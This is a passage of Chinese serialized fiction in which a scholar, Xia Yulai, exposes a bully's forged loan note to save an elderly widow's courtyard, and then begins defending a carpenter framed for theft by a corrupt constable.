原来,刘歪嘴早就盯上了苏阿婆的院子。那院子虽然老旧,但地理位置好,靠近西街的繁华地段,若是拆了重建,开个客栈或者布庄,肯定能赚大钱。刘歪嘴想把院子弄到手,却苦于没有理由,于是就伪造了一张借据,想以债务纠纷为由,强占院子。 刘歪嘴坐在椅子上,皱着眉头思索对策。他知道,夏雨来不好对付,商户联盟也不好惹,硬来肯定不行,只能智取。他眼珠一转,想到了一个主意:“狗蛋,你去打听一下,苏阿婆有没有什么亲戚朋友。” 狗蛋道:“歪嘴哥,我早就打听好了。苏阿婆无儿无女,娘家那边的亲戚也都过世了,就剩下一个远房侄子,名叫陈阿福,在城外种地,为人懦弱,没什么本事。” “陈阿福?” 刘歪嘴眼睛一亮,“好!你去把陈阿福找来,我有办法让他帮我们拿到院子。” 狗蛋道:“歪嘴哥,陈阿福虽然懦弱,但他毕竟是苏阿婆的侄子,会帮我们吗?” 刘歪嘴冷笑一声:“人为财死,鸟为食亡。只要给他足够的好处,他就会帮我们。你去告诉陈阿福,只要他帮我们拿到院子,我就给他二十两银子。” 狗蛋点了点头:“好,我这就去。” 说完匆匆离去。刘歪嘴看着狗蛋的背影,脸上露出阴狠的笑容:“苏阿婆,夏秀才,你们以为这样就能拦住我?等着吧,那院子迟早是我的!” 城外的陈家村,陈阿福正在地里干活。他身材瘦小,皮肤黝黑,穿着一件打补丁的粗布衣裳,手里拿着锄头,有气无力地刨着地。陈阿福为人懦弱,没什么本事,日子过得很贫困。他知道苏阿婆有一座老院子,心中早就有些惦记,只是碍于亲戚情面,不好意思开口。 狗蛋找到陈阿福时,他正坐在田埂上休息。狗蛋把刘歪嘴的意思告诉了陈阿福,还承诺给他二十两银子。陈阿福一听有二十两银子,眼睛都亮了。二十两银子,对他来说可是一笔巨款,足够他盖新房、娶媳妇了。他犹豫了一下:“这…… 这不好吧?苏阿婆是我的长辈,我怎么能帮外人抢她的房子?” 狗蛋道:“陈阿福,你傻啊?二十两银子!有了这二十两银子,你就能过上好日子了。再说,苏阿婆年纪大了,那院子迟早也是你的,现在不过是提前拿到手而已。刘歪嘴哥说了,只要你帮他,他不仅给你银子,还会帮你在城里找份好差事。” 陈阿福心中一动,他早就想进城过日子了,只是一直没有机会。他咬了咬牙:“好!我帮你们!不过,你们可不能伤害苏阿婆。” 狗蛋道:“放心吧,刘歪嘴哥只是想要院子,不会伤害苏阿婆的。” 当天下午,陈阿福就跟着狗蛋来到了刘歪嘴的院子。刘歪嘴见陈阿福来了,热情地招待他:“陈兄弟,欢迎欢迎!只要你帮我拿到院子,我承诺的二十两银子,一分都不会少你的!” 陈阿福道:“歪嘴哥,你想让我怎么做?” 刘歪嘴道:“很简单。你明天去苏阿婆家里,就说你是她的侄子,理应照顾她的晚年。然后,你就劝她把院子卖给我,我会给她一笔养老钱。如果她不同意,你就跟她闹,说她不把你当亲戚,让街坊们都知道她的不是。到时候,我再出面,以调解的名义,把院子拿到手。” 陈阿福有些犹豫:“这样…… 这样会不会太过分了?” 刘歪嘴道:“过分?有什么过分的?那院子本来就该是你的,你只是拿回属于自己的东西而已。再说,苏阿婆年纪大了,一个人住那么大的院子也不安全,跟着你过日子,不是更好吗?” 陈阿福被刘歪嘴说得心动了,点了点头:“好,我明天就去。” 刘歪嘴拍了拍他的肩膀:“好兄弟!只要事情办成了,我不会亏待你的!” 第二天一早,陈阿福就来到了苏阿婆的院子。苏阿婆见是自己的侄子,很高兴,连忙拿出水果招待他:“阿福,你怎么来了?快坐快坐。” 陈阿福坐在椅子上,眼神有些躲闪,吞吞吐吐地说:“阿婆,我…… 我是来看看您。” 苏阿婆道:“好孩子,有心了。我身体还好,不用惦记。” 陈阿福沉默了一会儿,鼓起勇气说:“阿婆,我听说…… 听说有人想抢您的院子?” 苏阿婆叹了口气:“是啊,是城南的刘歪嘴,伪造借据,想强占我的房子。多亏了夏秀才和街坊们帮忙,才把他们赶走。” 陈阿福道:“阿婆,您年纪大了,一个人住在这里不安全,也没人照顾。不如,您把院子卖了,跟我一起过日子吧。我会好好照顾您的。” 苏阿婆一愣:“卖院子?阿福,这院子是祖上传下来的,我不能卖。再说,我一个人住惯了,不想麻烦你。” 陈阿福道:“阿婆,您怎么能这么说呢?我是您的侄子,照顾您是应该的。那院子卖了,您就能拿到一笔银子,以后的日子也能过得好一些。您要是不同意,就是不把我当亲戚!” 他语气有些激动,脸上露出不满的神色。 苏阿婆没想到自己的侄子会说出这样的话,心中很伤心:“阿福,你怎么能这么想?我不是不把你当亲戚,只是这院子对我来说太重要了,它是我丈夫留下的唯一念想,我死也不能卖!” “念想?能当饭吃吗?” 陈阿福站起身来,提高了声音,“阿婆,我看您就是老糊涂了!那院子又旧又破,值不了几个钱,还不如卖了换银子,跟我一起过日子。您要是不同意,我就不走了,天天来这里闹,让街坊们都看看你是怎么对待自己侄子的!” 苏阿婆气得浑身发抖,指着陈阿福:“你…… 你这个白眼狼!我平时没少照顾你,你现在竟然帮着外人来抢我的房子!” 陈阿福道:“我这是为您好!您怎么就不明白呢?” 说着,他就开始在院子里哭闹起来,嘴里喊着:“苏阿婆不把我当亲戚!不给我房子!我没法活了!” 街坊们听到动静,纷纷围了过来。陈阿福见人多了,哭得更厉害了:“大家快来看啊!苏阿婆有房子住,却不管我的死活!我是她唯一的侄子,她竟然不肯把房子给我,还赶我走!” 一些不明真相的街坊议论纷纷:“苏阿婆怎么能这样呢?侄子也是亲人啊。” “是啊,一个人住那么大的院子,给侄子住也应该。” 苏阿婆又气又急,眼泪直流:“不是这样的…… 他是来抢我的房子的……” 可她年纪大了,说话也不利索,根本没人相信她。 就在这时,夏雨来和孙老实来了。原来,孙老实担心苏阿婆出事,一早就来看看,正好遇到陈阿福在院子里哭闹。夏雨来走进院子,看着陈阿福:“陈阿福,你这是干什么?苏阿婆是你的长辈,你怎么能这样对她?” 陈阿福见是夏雨来,心中有些害怕,但还是强装镇定:“夏秀才,这是我们的家事,跟你没关系!苏阿婆不肯把房子给我,我只能这样了!” 夏雨来道:“房子是苏阿婆的,她想给谁就给谁,不想给,谁也不能抢。你作为侄子,不仅不照顾长辈,还在这里哭闹耍赖,像什么样子?” “我没有耍赖!” 陈阿福道,“这院子本来就该是我的!苏阿婆年纪大了,不能再住在这里了,我是为了她好!” 夏雨来冷笑一声:“为了她好?我看你是为了自己的私心吧!刘歪嘴给了你多少好处,让你帮他抢苏阿婆的房子?” 陈阿福脸色一变:“你…… 你胡说!我没有!” 夏雨来道:“是吗?我昨天看到你和刘歪嘴的手下在一起,还进了刘歪嘴的院子。你以为我不知道你们的阴谋?” 陈阿福被夏雨来说中了心事,顿时语塞,再也说不出话来。 苏阿婆看着陈阿福,心中彻底失望了:“阿福,我没想到你竟然是这样的人…… 你走吧,我再也不想见到你了。” 陈阿福见状,知道事情败露,也没脸再待下去,灰溜溜地跑了。 街坊们这才明白过来,纷纷指责陈阿福:“原来是这样!这个陈阿福,太不像话了!” “竟然帮着外人抢自己长辈的房子,真是个白眼狼!” 苏阿婆拉着夏雨来的手,感激地说:“夏秀才,谢谢你…… 又一次帮了我。” 夏雨来道:“阿婆,您别客气。刘歪嘴不会善罢甘休,我们还要多加小心。” 三、暗访查案,智寻证据 陈阿福的计谋失败后,刘歪嘴气得暴跳如雷。他没想到夏雨来竟然这么快就识破了他的阴谋。狗蛋道:“歪嘴哥,现在怎么办?陈阿福那边肯定指望不上了。” 刘歪嘴道:“哼,指望不上就不指望!我就不信,没有陈阿福,我就拿不到那院子!” 他思索了一会儿,道:“狗蛋,你去县衙找一下我的远房表哥,他在县衙当差。你让他帮忙,就说苏阿婆欠我银子不还,让县衙出面,把院子判给我。” 狗蛋道:“歪嘴哥,县衙会帮我们吗?那张借据是伪造的。” 刘歪嘴道:“放心吧,我表哥收了我的好处,肯定会帮我。再说,县衙里的人大多是见钱眼开,只要我多送点银子,他们就会睁一只眼闭一只眼。” 狗蛋点了点头:“好,我这就去。” 刘歪嘴看着狗蛋的背影,心中得意:“夏秀才,这次我看你怎么帮那老太婆!” 与此同时,夏雨来也在为苏阿婆的事情发愁。他知道,刘歪嘴肯定不会就此罢休,一定会想出其他办法来抢夺院子。想要彻底保住院子,就必须找到刘歪嘴伪造借据的证据,让他受到应有的惩罚。 夏雨来对孙老实道:“孙老弟,刘歪嘴伪造借据,肯定会留下破绽。我们得想办法找到证据。” 孙老实道:“夏秀才,你想怎么找?刘歪嘴那么狡猾,肯定把证据藏得很严实。” 夏雨来道:“我们可以从两个方面入手。第一,调查那张借据的真实性。苏阿婆丈夫已经过世五年,我们可以找当年认识他的人,看看借据上的字迹和手印是不是他的。第二,调查刘歪嘴的行踪,看看他最近有没有和什么人接触,有没有伪造借据的可能。” 孙老实道:“好!那我们分工合作。我去打听苏阿婆丈夫当年的朋友,你去调查刘歪嘴的行踪。” 夏雨来道:“好。另外,你还要多留意苏阿婆的安全,派两个人暗中保护她,防止刘歪嘴狗急跳墙,做出伤害阿婆的事情。” 孙老实道:“放心吧,我已经安排好了。” 接下来的几天,夏雨来和孙老实分头行动。夏雨来打扮成一个算命先生,在刘歪嘴经常出没的地方打探消息。刘歪嘴平时喜欢在悦来客栈喝酒赌钱,夏雨来就天天在悦来客栈门口摆摊算命。 这天,刘歪嘴带着几个手下走进悦来客栈,看到夏雨来在门口摆摊,心中有些不爽:“又是你这个臭书生!怎么,不好好读书,跑到这里来算命骗钱?” 夏雨来抬起头,脸上带着笑容:“歪嘴哥,我这可不是骗钱,我算卦很准的。要不要算一卦,看看你最近的财运如何?” 刘歪嘴冷笑一声:“财运?我最近的财运好得很!不用你算!” 说着就要往里走。夏雨来道:“歪嘴哥,我看你印堂发黑,最近怕是有牢狱之灾啊。若是不信,我们可以打个赌。” 刘歪嘴停下脚步,转头看向夏雨来:“牢狱之灾?我看你是想找打!” 夏雨来道:“歪嘴哥,别急着动手。我只是实话实说。你最近是不是在做一件亏心事?而且还和房产有关?” 刘歪嘴心中一惊,没想到夏雨来竟然知道他的事情。他强装镇定:“你胡说八道什么?我没做过亏心事!” 夏雨来道:“是吗?那我就放心了。不过,我劝你还是小心为妙,善恶终有报,不是不报,时候未到。” 刘歪嘴被夏雨来说得心里发毛,不敢再多说,带着手下匆匆走进了客栈。 夏雨来看着刘歪嘴的背影,嘴角露出一丝笑容。他知道,刘歪嘴已经开始心虚了。接下来,他要做的就是找到确凿的证据。 与此同时,孙老实也有了收获。他找到了苏阿婆丈夫当年的几个朋友,他们都是木匠,和苏阿婆丈夫一起做过活。孙老实把那张借据拿给他们看,他们一致认为,借据上的字迹不是苏阿婆丈夫的。“陈老实的字写得很丑,而且笔画很粗,这借据上的字写得这么工整,肯定不是他写的。” 一个名叫李木匠的老人道。 另一个名叫王木匠的老人道:“而且,陈老实为人憨厚,从来不会借高利贷。他平时连一两银子都舍不得借,怎么可能借五十两?” 孙老实道:“那手印呢?你们能认出这是不是陈老实的手印吗?” 李木匠道:“陈老实的右手食指少了一截,是当年做木工活时不小心锯掉的。你看这借据上的手印,食指是完整的,肯定不是他的。” 孙老实心中大喜,连忙把这个消息告诉了夏雨来。夏雨来道:“太好了!这就证明借据是伪造的。现在,我们只要找到刘歪嘴伪造借据的证据,就能彻底揭穿他的阴谋。” 夏雨来和孙老实商量后,决定从刘歪嘴的手下入手。刘歪嘴的手下大多是地痞流氓,贪财好色,只要给他们足够的好处,肯定能从他们口中套出话来。 这天晚上,夏雨来和孙老实来到了城南的一家小酒馆。刘歪嘴的手下狗蛋正在酒馆里喝酒。夏雨来和孙老实找了个座位坐下,点了几个菜,要了一壶酒。 孙老实端着酒杯,走到狗蛋身边:“这位兄弟,独自一人喝酒多无聊啊,不如我们一起喝一杯?” 狗蛋看了看孙老实,又看了看夏雨来,认出他们是苏阿婆那边的人,心中有些警惕:“你们想干什么?” 孙老实道:“没什么,就是想跟兄弟交个朋友。我看兄弟气宇轩昂,肯定不是一般人。” 他给狗蛋倒了一杯酒,“来,喝一杯。” 狗蛋犹豫了一下,还是端起酒杯喝了下去。 几杯酒下肚,狗蛋的话也多了起来。孙老实趁机问道:“兄弟,我听说你跟着 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夏雨来和孙老实对视一眼,心中大喜。他们没想到,竟然这么容易就套出了这么重要的信息。 孙老实道:“兄弟,你真是够意思,什么都告诉我们。为了感谢你,我再敬你一杯。” 他给狗蛋倒满酒,“对了,那张借据是怎么伪造的?是谁写的字,是谁按的手印?” 狗蛋道:“借据是我们歪嘴哥找城里的一个秀才写的,手印是我们歪嘴哥自己按的。那秀才收了我们歪嘴哥五两银子,才肯帮忙。” “那个秀才是谁?” 夏雨来问道。狗蛋道:“好像是叫张秀才,住在城北的贫民窟里,平时靠给人抄书为生。” 夏雨来道:“多谢兄弟告知。这些话,我们不会告诉别人的。” 狗蛋道:“放心吧,我相信你们。以后有什么事,尽管找我。” 喝完酒,夏雨来和孙老实离开了小酒馆。孙老实道:“夏秀才,太好了!我们终于找到证据了!现在,我们可以去县衙告刘歪嘴了!” 夏雨来道:“别急。我们还有最后一步,找到那个张秀才,让他出面作证。只有这样,才能让刘歪嘴无话可说。” 四、公堂对峙,真相大白 第二天一早,夏雨来和孙老实就来到了城北的贫民窟,寻找张秀才。贫民窟里的房子破旧不堪,街道狭窄肮脏,空气中弥漫着一股难闻的气味。夏雨来和孙老实四处打听,终于找到了张秀才的住处。 张秀才的住处是一间破旧的茅草屋,屋里阴暗潮湿,只有一张床、一张桌子和一把椅子。张秀才正在屋里抄书,他穿着一件打补丁的长衫,头发凌乱,脸上带着疲惫的神色。 夏雨来走进屋里,拱手道:“张秀才,打扰了。我是夏雨来,有事想向你请教。” 张秀才抬起头,看到夏雨来,眼中露出一丝惊讶:“夏秀才?久仰大名。不知夏秀才找我有何贵干?” 夏雨来道:“张秀才,我听说你前段时间帮刘歪嘴写过一张借据,是吗?” 张秀才脸色一变,低下头道:“我…… 我没有。” 夏雨来道:“张秀才,事到如今,你就别再隐瞒了。刘歪嘴的手下已经都告诉我了。那张借据是伪造的,是为了强占苏阿婆的院子。” 张秀才沉默了一会儿,叹了口气:“夏秀才,我也是被逼无奈。刘歪嘴威胁我,如果我不帮他写借据,他就打断我的腿。我一个穷秀才,无依无靠,只能答应他。” 夏雨来道:“张秀才,我知道你是被逼的。但伪造借据是犯法的事情,你这样做,不仅会害了苏阿婆,也会害了你自己。” 张秀才道:“我知道错了。可是,我已经答应刘歪嘴了,现在后悔也晚了。” 夏雨来道:“不晚。只要你肯出面作证,指证刘歪嘴伪造借据,王大人一定会从轻发落。而且,苏阿婆也会感谢你的。” 孙老实道:“张秀才,夏秀才说得对。刘歪嘴是个恶霸,你帮他做坏事,迟早会被他连累。不如趁现在,揭发他的阴谋,还自己一个清白。” 张秀才犹豫了一下,道:“我…… 我怕刘歪嘴报复我。” 夏雨来道:“你放心,有我和商户联盟在,刘歪嘴不敢报复你。而且,王大人也会保护你的安全。” 张秀才看着夏雨来,眼中露出一丝希望:“真的吗?” 夏雨来道:“当然是真的。只要你肯作证,我们一定会保护你。” 张秀才咬了咬牙:“好!我答应你们!我跟你们去县衙,指证刘歪嘴!” 夏雨来和孙老实心中大喜,连忙道:“太好了!张秀才,谢谢你!” 当天下午,夏雨来和孙老实带着张秀才,还有苏阿婆丈夫的几个朋友,一起来到了县衙,向王大人报案。王大人听说刘歪嘴伪造借据,强占孤老的房产,非常愤怒:“岂有此理!刘歪嘴这个恶霸,竟然敢在潮州城为非作歹!来人,立刻去捉拿刘歪嘴!” 衙役们领命,立刻前往城南的院子捉拿刘歪嘴。此时,刘歪嘴正在院子里和他的表哥喝酒,庆祝即将拿到院子。他看到衙役们来了,心中有些奇怪:“你们来干什么?” 衙役们道:“刘歪嘴,你伪造借据,强占孤老房产,有人告你到县衙,王大人请你去一趟!” 刘歪嘴心中一惊,知道事情败露了。他的表哥道:“兄弟们,别担心,有我在,王大人不会把你们怎么样的。” 刘歪嘴道:“表哥,你一定要帮我啊!” 他的表哥道:“放心吧,我已经打点好了。” 刘歪嘴跟着衙役们来到了县衙。王大人坐在公堂之上,脸色铁青:“刘歪嘴,你可知罪?” 刘歪嘴道:“大人,我何罪之有?我只是向苏阿婆要债而已。” 王大人道:“要债?你伪造借据,强占他人房产,还敢说自己无罪?” 他让衙役们把张秀才、苏阿婆丈夫的几个朋友带上来,让他们作证。张秀才道:“大人,那张借据是我帮刘歪嘴写的,是伪造的。刘歪嘴给了我五两银子,还威胁我,如果我不帮他,就打断我的腿。” 苏阿婆丈夫的几个朋友也纷纷作证,说借据上的字迹和手印都不是苏阿婆丈夫的。王大人道:“刘歪嘴,人证物证俱在,你还有什么话要说?” 刘歪嘴道:“大人,他们都是诬告!我没有伪造借据!” 就在这时,夏雨来道:“大人,刘歪嘴的表哥在县衙当差,收了刘歪嘴的好处,想要包庇他。我们有证据证明这一点。” 他把狗蛋在酒馆里说的话告诉了王大人,还把狗蛋也带了上来。狗蛋在公堂之上,如实供述了刘歪嘴的罪行,以及他表哥收受贿赂的事情。 刘歪嘴的表哥脸色惨白,跪在地上:“大人,我错了!我不该收刘歪嘴的好处,不该包庇他!求大人饶命!” 王大人怒喝道:“你身为县衙公差,竟然知法犯法,收受贿赂,包庇恶霸!来人,把他拖下去,重打三十大板,革去公职!” 衙役们立刻上前,把刘歪嘴的表哥拖下去行刑。刘歪嘴见状,知道自己再也无法抵赖,瘫倒在地上:“大人,我错了!我不该伪造借据,不该强占苏阿婆的房子!求大人饶命!” 王大人道:“刘歪嘴,你欺压孤寡,伪造证据,强占他人财产,罪行严重!本府判你杖责五十,流放三千里!你的手下,根据罪行轻重,分别杖责二十到四十不等!” 衙役们立刻上前,把刘歪嘴和他的手下拖下去行刑。 苏阿婆看着眼前的一切,激动得热泪盈眶:“王大人,夏秀才,谢谢你们!谢谢你们帮我保住了房子,还了我一个公道!” 王大人道:“苏阿婆,你不必客气。保护百姓的生命财产安全,是本府的职责。以后,要是再有人欺负你,你就直接来县衙报案。” 夏雨来道:“阿婆,您放心,以后我们会经常来看您,商户联盟也会照顾您的晚年。” 苏阿婆道:“好,好…… 谢谢你们,你们都是好人。” 五、长效护老,市井温情 刘歪嘴被流放后,潮州城的百姓们都拍手称快。大家纷纷称赞夏雨来和王大人为民做主,惩治了恶霸。苏阿婆的院子终于保住了,她的脸上也露出了久违的笑容。 商户联盟的周掌柜等人来到苏阿婆家里,给她送来了粮食、布匹和银子:“阿婆,这是我们商户联盟的一点心意,您收下。以后,您的生活就由我们来照顾。” 苏阿婆道:“谢谢你们,谢谢你们…… 你们真是太好了。” 夏雨来道:“阿婆,我们成立了商户联盟,不仅要维护商户的利益,还要帮助那些有困难的百姓。您无儿无女,孤身一人,以后有什么困难,就跟我们说,我们一定会尽力帮助您。” 苏阿婆点了点头:“好,好……” 为了让苏阿婆的晚年生活更加幸福,夏雨来和商户联盟的人商量后,决定成立一个 “护老会”,专门帮助潮州城的孤寡老人。护老会的成员由商户联盟的成员和一些热心的街坊组成,他们会定期看望孤寡老人,给他们送粮食、药品,帮他们打扫卫生,照顾他们的生活。 护老会成立后,潮州城的孤寡老人们都感受到了温暖。李阿婆道:“以前,我一个人住,生病了都没人知道。现在,护老会的人经常来看我,还给我送药,帮我打扫卫生,我再也不用担心了。” 王阿公道:“是啊,护老会的人就像我的亲人一样,对我太好了。” 苏阿婆的院子也被商户联盟的人修缮了一番。他们给院子换上了新的木门,修补了墙壁,还在院子里种了很多花草,让院子变得更加漂亮。苏阿婆每天都会坐在院子里,看着花草,脸上露出幸福的笑容。 这天,夏雨来和孙老实来看望苏阿婆。苏阿婆正在院子里浇花,看到他们来了,高兴地说:“夏秀才,孙老弟,你们来了!快坐快坐。” 夏雨来道:“阿婆,您身体还好吗?” 苏阿婆道:“好,好得很!多亏了你们,我现在吃得好,睡得香,身体比以前好多了。” 孙老实道:“阿婆,我们给您带了些水果和点心,您尝尝。” 苏阿婆道:“谢谢你们,总是这么惦记我。” 她给夏雨来和孙老实倒了两杯茶,“你们真是好人,老天会保佑你们的。” 夏雨来道:“阿婆,您别这么说。帮助别人,是我们应该做的。以后,我们会经常来看您。” 苏阿婆道:“好,好…… 我等着你们。” 就在这时,周掌柜带着几个商户联盟的人来了,他们手里拿着一个牌匾,上面写着 “福寿安康” 四个大字。周掌柜道:“阿婆,这是我们商户联盟给您送的牌匾,祝您福寿安康,晚年幸福。” 苏阿婆看着牌匾,激动得说不出话来:“谢谢你们,谢谢你们……” 街坊们也纷纷赶来,给苏阿婆送来了祝福。大家在院子里欢声笑语,其乐融融。苏阿婆看着眼前的一切,心中充满了温暖。她知道,自己再也不是孤身一人了,她有了很多亲人,有了一个温暖的家。 潮州城的日子,依旧平静而又温馨。东门街的早市依旧热闹,商户们的吆喝声、顾客们的讨价还价声,交织在一起,构成了一幅生机勃勃的市井画卷。而西街的苏阿婆院子里,每天都充满了欢声笑语,成为了潮州城最温暖的一角。 夏雨来站在院子里,看着苏阿婆幸福的笑容,心中充满了欣慰。他知道,自己做的这一切都是值得的。保护弱势群体,帮助有困难的百姓,是他作为一个读书人的责任和担当。他会和商户联盟的人一起,继续努力,让潮州城变得更加美好,让更多的百姓感受到温暖和幸福。 夕阳西下,金色的余晖洒在潮州城的街道上,洒在苏阿婆的院子里。苏阿婆坐在院子里,看着夕阳,脸上露出了满足的笑容。她知道,自己的晚年生活将会充满阳光和温暖,而这一切,都要感谢夏雨来和那些善良的人们。她的故事,也会像潮州城的市井传说一样,被人们代代相传,成为一段温暖人心的佳话。 40. 智破冤案 一、囚车过巷,冤声震天 潮州城的冬意来得猝不及防,一场寒流过后,东门街的青石板路结了层薄霜,踩上去 “咯吱” 作响,像谁在暗处啃着冻硬的麦芽糖。天还没亮透,王二嫂的河虾摊就支起来了,她裹着件打补丁的棉袄,哈着白气搓手:“这鬼天气,河虾都冻得缩成球,今天怕是要赔本!” 张五郎的豆腐梆子敲得比往日沉,铜勺碰着木桶,发出 “咚咚” 的闷响:“冷点好啊,豆腐冻得紧实,耐放!我得多做两板,给北街的李木匠送一块去,他最近帮人打家具,忙得连做饭的功夫都没有。” 夏雨来刚帮孙老实把新到的徽墨搬进暖房,闻言抬头:“李木匠?可是那个手艺精湛,为人憨厚的李铁柱?” 孙老实一边用棉布擦拭砚台,一边点头:“可不是嘛!李木匠为人实诚,做活又细致,潮州城谁家里要打家具,第一个想到的就是他。他妻子早逝,就带着个十岁的女儿丫丫过日子,父女俩相依为命,日子过得也算安稳。” 夏雨来指尖捻着一块泛着光泽的徽墨,心中泛起一丝暖意:“踏实人就该有踏实日子过。” 他正说着,就见北街方向匆匆跑来一个小姑娘,梳着两条小辫子,脸上冻得通红,裤脚沾着霜雪,一边跑一边哭:“夏秀才!孙掌柜!不好了!我爹被抓了!” 这小姑娘正是李木匠的女儿丫丫,平时常跟着爹来东门街买木料,夏雨来和孙老实都认识她。孙老实连忙放下砚台,蹲下身子扶住丫丫:“丫丫别急,慢慢说,你爹怎么了?被谁抓了?” 丫丫喘着粗气,眼泪像断了线的珠子:“是…… 是县衙的衙役!说我爹偷了城西张大户家的金元宝,把我爹五花大绑押走了,还说要判重刑!我爹是冤枉的!他根本没偷东西!” 夏雨来脸色一沉,袖口攥得发紧。李铁柱的为人他略有耳闻,憨厚老实,连别人掉在地上的铜钱都会主动归还,怎么可能去偷金元宝?这里面一定有蹊跷。“孙老弟,笔墨先放着,我们去看看!” 夏雨来话音未落,就已经迈步向北街走去,孙老实连忙抓起墙角的棉袍追上,丫丫在前面带路,一路小跑。 北街比东门街清静些,大多是木匠铺、铁匠铺,此时街上已经围了不少百姓,议论纷纷。远远就看见一辆囚车停在李木匠家门口,囚车的木栏上结着薄冰,李铁柱被绑在里面,身上只穿了件单衣,冻得瑟瑟发抖,脸上满是伤痕,嘴角还挂着血迹。他看到丫丫,眼中泛起泪光,嘶哑地喊:“丫丫,别哭!爹是冤枉的!爹没偷东西!” 囚车旁,几个衙役手持水火棍,面无表情地站着。为首的是县衙的捕头周虎,此人身材高大,满脸横肉,平时就喜欢仗势欺人,百姓们都暗地里叫他 “周恶虎”。周虎看到围过来的百姓,厉声喝道:“都围在这里干什么?想看热闹?李铁柱盗窃张大户家十锭金元宝,证据确凿,再围观者,以同谋论处!” 百姓们吓得纷纷后退,却依旧在低声议论。“李木匠怎么会偷东西?不可能吧!” “是啊,张大户家那么有钱,金元宝怎么会说丢就丢?” “我看这里面有猫腻,周恶虎向来收受贿赂,指不定是屈打成招!” 夏雨来拨开人群,走到囚车旁。李铁柱看到他,眼中燃起一丝希望,挣扎着说:“夏秀才,我是冤枉的!我根本没去过张大户家,更没偷什么金元宝!是周捕头他们打我,逼我认罪!” 夏雨来看着李铁柱身上的伤痕,心中怒火中烧:“周捕头,李木匠说他是被屈打成招,此事可有蹊跷?” 周虎转头见是夏雨来,脸上的横肉抖了抖,随即露出一丝不屑:“夏秀才?你不好好读书,管什么闲事?李铁柱盗窃金元宝,人证物证俱在,他自己也认罪画押了,还有什么好说的?” 夏雨来道:“人证物证俱在?不知周捕头所说的人证是谁,物证又是什么?” 周虎道:“人证就是张大户家的管家,他亲眼看到李铁柱在张大户家后院徘徊。物证就是在李铁柱的木匠铺里搜出了一锭金元宝,与张大户家丢失的金元宝一模一样!” 夏雨来道:“仅凭管家一面之词,和一锭金元宝,就认定李铁柱盗窃?未免太过草率了吧?李木匠是木匠,平日里帮人打家具,收些定金也是常事,说不定那金元宝是他的辛苦钱呢?” 周虎嗤笑一声:“辛苦钱?一锭金元宝值五十两银子,李铁柱一个穷木匠,一年也赚不到五两银子,哪里来的五十两辛苦钱?” 他转头对衙役们道:“别跟他废话了,我们走!把李铁柱押回县衙,听候王大人发落!” 衙役们领命,推着囚车就要走。丫丫扑上前,抱住囚车的木栏,哭喊道:“不许走!放开我爹!我爹是冤枉的!” 周虎见状,眼中闪过一丝狠厉,抬脚就要踹丫丫。夏雨来眼疾手快,一把拉住丫丫,挡在她身前:“周捕头,对一个孩子动手,算什么本事?” 周虎怒道:“夏雨来,你别给脸不要脸!这是县衙的公事,再阻拦,休怪我不客气!” 夏雨来道:“公事?我看是冤假错案!李木匠为人忠厚,街坊邻里有目共睹,你仅凭片面之词就定他的罪,就不怕寒了百姓的心?” 周围的百姓也纷纷附和:“夏秀才说得对!李木匠是冤枉的!” “周恶虎,你肯定是收了张大户的好处,故意陷害李木匠!” “我们要去县衙请愿,还李木匠一个清白!” 百姓们越说越激动,纷纷向前涌。 周虎见状,心中有些发怵。他知道夏雨来在百姓中威望很高,上次帮百姓讨回赈灾银,又帮苏阿婆保住了院子,深得民心。如果真的激起民愤,事情就不好收场了。他咬了咬牙:“好!夏雨来,我给你面子!但李铁柱必须押回县衙,如果你觉得他是冤枉的,就去县衙跟王大人说!” 说完,他对手下们使了个眼色,衙役们推着囚车,在百姓们愤怒的目光中离开了。 丫丫拉着夏雨来的衣角,哭着说:“夏秀才,求求你,救救我爹!我爹要是出事了,我就成孤儿了!” 夏雨来摸了摸丫丫的头,柔声道:“丫丫放心,我一定会帮你爹洗清冤屈。你先跟我去孙掌柜的店铺,我让人照顾你,然后我就去县衙打听情况。” 丫丫点了点头,跟着夏雨来和孙老实来到了孙老实的笔墨铺。 孙老实让伙计给丫丫端来一碗热粥和一碟咸菜,丫丫饿坏了,狼吞虎咽地吃了起来。夏雨来看着丫丫瘦小的身影,心中暗下决心:一定要尽快查清真相,还李铁柱一个清白,让丫丫早日和爹团聚。 二、县衙探案,疑点重重 夏雨来安顿好丫丫后,立刻前往县衙。此时,县衙的公堂之上,王大人正在审问李铁柱。王大人坐在案后,眉头紧锁,面前摆着一卷卷宗。李铁柱跪在堂下,浑身发抖,不是因为害怕,而是因为寒冷和伤痛。 “李铁柱,你可知罪?” 王大人沉声问道。李铁柱抬起头,眼中满是悲愤:“大人,我无罪!我根本没偷张大户家的金元宝!是周捕头他们打我,逼我认罪画押的!” 王大人道:“周捕头说,在你家搜出了一锭金元宝,与张大户家丢失的金元宝一模一样,这你如何解释?” 李铁柱道:“大人,那金元宝是我上个月帮城西王老爷打家具,王老爷给我的定金!王老爷说他家要打一套红木家具,让我先准备木料,预付了一锭金元宝作为定金,我可以让王老爷来作证!” 王大人道:“哦?有此事?来人,立刻去传城西王老爷到县衙问话!” 衙役们领命而去。周虎站在一旁,心中有些发慌,但还是强装镇定:“大人,李铁柱肯定是在撒谎!王老爷怎么会给一个木匠一锭金元宝作为定金?这分明是他盗窃金元宝后,编造的谎言!” 李铁柱怒道:“我没有撒谎!王老爷可以作证!是你收了张大户的好处,故意陷害我!” 周虎脸色一变:“你胡说!我什么时候收张大户的好处了?你这是血口喷人!” 就在这时,衙役们带着王老爷来到了公堂。王老爷是个儒雅的老者,穿着一件锦袍,手中拿着一把折扇。他看到李铁柱,连忙道:“大人,李木匠说的是实话!上个月我确实让他帮我打一套红木家具,预付了一锭金元宝作为定金,这是我们当时立下的字据。” 说着,他从袖中掏出一张字据,递给衙役。 王大人接过字据,仔细看了看,眉头皱得更紧了。字据上写得清清楚楚,王老爷预付李铁柱金元宝一锭,作为打家具的定金,还有两人的签字画押。这说明,李铁柱家中的金元宝确实是合法所得,并非盗窃而来。 “周捕头,这你如何解释?” 王大人看向周虎,语气中带着一丝不满。周虎心中一惊,没想到李铁柱真的能找到证人。他眼珠一转,道:“大人,就算这锭金元宝是王老爷给的定金,也不能证明李铁柱没有偷张大户家的金元宝!说不定他是偷了金元宝后,又编造了这个谎言,让王老爷来作伪证!” 王老爷怒道:“你胡说!我王某人一生清白,从未作过伪证!你这捕头,不分青红皂白就冤枉好人,真是岂有此理!” 夏雨来这时走进公堂,拱手道:“大人,学生夏雨来,有事启禀。” 王大人道:“夏秀才请讲。” 